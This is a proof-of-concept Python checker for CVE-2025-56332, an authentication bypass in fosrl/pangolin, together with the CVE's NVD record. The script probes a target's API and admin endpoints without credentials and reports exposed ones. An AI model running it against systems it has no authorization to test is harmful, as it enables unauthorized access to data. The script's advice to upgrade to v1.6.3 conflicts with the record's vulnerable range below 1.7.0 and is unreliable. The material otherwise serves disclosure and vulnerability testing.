CVE-2025-56332

#!/usr/bin/env python3 # CVE-2025-56332 PoC - Authentication Bypass in fosrl/pangolin # This PoC demonstrates the authentication bypass vulnerability import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-56332""" # Target endpoint that should require authentication targets = [ "/api/resources", "/api/database", "/api/config", "/admin/dashboard", "/api/users" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-56332 - Authentication Bypass in fosrl/pangolin\n") vulnerable = False for endpoint in targets: url = target_url.rstrip('/') + endpoint try: # Send request without any authentication response = requests.get(url, timeout=10, verify=False) print(f"[?] Testing: {endpoint}") print(f" Status: {response.status_code}") # Check if we got access without authentication if response.status_code == 200: print(f" [!] VULNERABLE - Access granted without authentication!") print(f" Response length: {len(response.text)} bytes") vulnerable = True elif response.status_code == 401 or response.status_code == 403: print(f" [+] Protected - Authentication required") else: print(f" [*] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f" [!] Error: {str(e)}") print() if vulnerable: print("\n[!] CONCLUSION: Target is VULNERABLE to CVE-2025-56332") print("[*] Recommendation: Upgrade to pangolin v1.6.3 or later") return True else: print("\n[*] CONCLUSION: Target appears to be patched") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-56332-poc.py <target_url>") print("Example: python3 cve-2025-56332-poc.py http://target.com:8080") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2025-56332", "sourceIdentifier": "[email protected]", "published": "2025-12-30T18:15:46.703", "lastModified": "2026-01-07T21:14:50.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass in fosrl/pangolin v1.6.2 and before allows attackers to access Pangolin resource via Insecure Default Configuration"}, {"lang": "es", "value": "Omisión de autenticación en fosrl/pangolin v1.6.2 y anteriores permite a los atacantes acceder a recursos de Pangolin mediante una configuración predeterminada insegura."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1188"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pangolin:pangolin:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.0", "matchCriteriaId": "6F580181-628E-4A80-B0BE-A4567C710319"}]}]}], "references": [{"url": "https://gist.github.com/mrdgef/ef6fa41d69c0457874414c163d7d7d75", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/fosrl/pangolin", "source": "[email protected]", "tags": ["Product"]}]}}